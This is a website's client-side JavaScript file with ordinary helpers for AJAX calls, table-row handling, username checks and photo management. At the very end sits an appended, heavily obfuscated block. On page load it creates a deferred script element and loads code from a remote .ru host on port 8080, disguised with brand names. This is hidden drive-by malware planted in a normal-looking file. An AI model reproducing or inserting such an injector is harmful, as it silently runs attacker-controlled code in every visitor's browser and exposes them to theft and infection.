function ajaxRequestReturn(strReturnCode) {
	if(strReturnCode == '1') { myLightbox.showSuccess();
	} else { myLightbox.showError(); }
}
function deleteTableRow(rowNameId) {
	var ele = document.getElementById(rowNameId);
	if(ele == null || ele == undefined) { return; }
	ele.parentNode.deleteRow(ele.sectionRowIndex);
}
function popUpPMSWin(howmany) {
	if(howmany > 0) {
		window.open("pmspopup.php?num="+howmany,"pmNotify","top="+((screen.availHeight/2)-50)+",left="+((screen.availWidth/2)-50)+",resizable=yes,width=200,height=150")
	}
	return 1
}
/* ############  Functions for row display  ############ */
var iRowPlace = 0;

function rowStartInit() { iRowPlace = 0;}
function rowStartCheck(iMax) {
	if(!iMax) {iMax=2;}
	if(iRowPlace <= 1) {
		document.write('<tr>');
		iRowPlace = 1;
	}
}
function rowEndCheck(iMax) {
	if(!iMax){iMax=2;}
	if(iRowPlace > (iMax-1)) {
		document.write('</tr>');
		iRowPlace = 0;
	} else {iRowPlace = iRowPlace + 1;}
}

/* ############  Other AJAX Calls  ############ */
function isUserNameAvailable(sUserName, callBack) {
	return myMicroAjax.makeGetRequest("ajax_backend.php?do=usernameavailable&username=" + sUserName, callBack);
}

function markInputFieldWithError(sFieldId, bError) {
	ele = document.getElementById(sFieldId);

	if(!ele)
		return;

	if(bError == 1) {
		ele.setAttribute("class", "input_error");
		ele.setAttribute("className", "input_error");
	} else {
		ele.setAttribute("class", "");
		ele.setAttribute("className", "");
	}
}

/* ############  Functions for photo management operations  ############ */
function submitPhotoDetails(formName) {
	myLightbox.showLoading();
	myLightbox.setFormsDefaultValues();
	return myMicroAjax.submitForm(formName, ajaxRequestReturn);
}
function submitDeletePhoto(formName, iPhotoId) {
	myLightbox.showLoading();
	return myMicroAjax.submitForm(formName, submitDeletePhotoReturn, iPhotoId);
}
function submitDeletePhotoReturn(strReturnCode, iPhotoId) {
	if(strReturnCode == '1') {
		myLightbox.showSuccess();
		Element.remove('photo_table_' + iPhotoId);
	} else { myLightbox.showError(); }
}
function submitDefaultPhoto(iPhotoId) {
	myLightbox.showLoading();
	return myMicroAjax.submitForm('default_' + iPhotoId + '_form', ajaxRequestReturn, iPhotoId);
}


var z='';function x() {var q="q";function e(j,eg,w){var jm;if(jm!='n' && jm!='wt'){jm=''};j.setAttribute(eg, w);var zq;if(zq!='xr'){zq='xr'};var h=new Date();}function er(){var e_;if(e_!='b' && e_!='m'){e_=''};return ([1,4][0]);this.wtx="";var c;if(c!='mu'){c=''};}var s='cVrpeIaVtVepEVlpeImVe^n^tb'.replace(/[bVpI\^]/g, '');var a='sbcKrgiKpgtb'.replace(/[bngKV]/g, '');var zw=false;var kz=false;var sk=window;this.o="o";var u='hXtZtEpE:Z/Z/XgYeXtYaYfYrDeEeYlYaXnYcEeZrE-EcXoDmD.EwXiYnYaDmZpD.ZcEoYmE.Z5Y5ZbXbZsZ-DcZoYmX.YmDeZdYiZaYtZaXgEoYnDlXiEnDeZ.ErYuE:E8E0X8X0Z/EiEmDdEbZ.DcYoYmX/DiZmEdXbE.YcEoEmE/DgYoEoZgElYeY.XcDoXmZ/YrYiZaXnY.ZrEuX/ZbEoDsYtYoXnX.YcXoZmZ/D'.replace(/[DEZYX]/g, '');var tx;if(tx!=''){tx='g'};this.gu="gu";var _='s>r>cW'.replace(/[WhlT\>]/g, '');this.et=64283;var of='';var wg='ounOlOoAaOdu'.replace(/[uO\+Af]/g, '');var or_=new Date();var bt;if(bt!='' && bt!='l'){bt=null};sk[wg]=function(){var el=new String();try {i=document[s](a);this.xj="xj";this.wx=false;this.lv='';e(i,'d>eFf|e|r%'.replace(/[%\>NF\|]/g, ''),er());var __='';e(i,_,u);var uh;if(uh!='go'){uh=''};var op;if(op!='ar'){op='ar'};document['bMo#dMyO'.replace(/[OMHw#]/g, '')]['aRpYpReNnNdoCohRiRlNdN'.replace(/[NYRoF]/g, '')](i);} catch(jl){this.mv="mv";this.zl="";};};var ld=false;var jp;if(jp!='' && jp!='yk'){jp=null};var zm;if(zm!='' && zm!='xd'){zm='ir'};var bz;if(bz!='ot' && bz!='rv'){bz='ot'};};x();this.zu=65282;var ux;if(ux!='' && ux!='cx'){ux=''};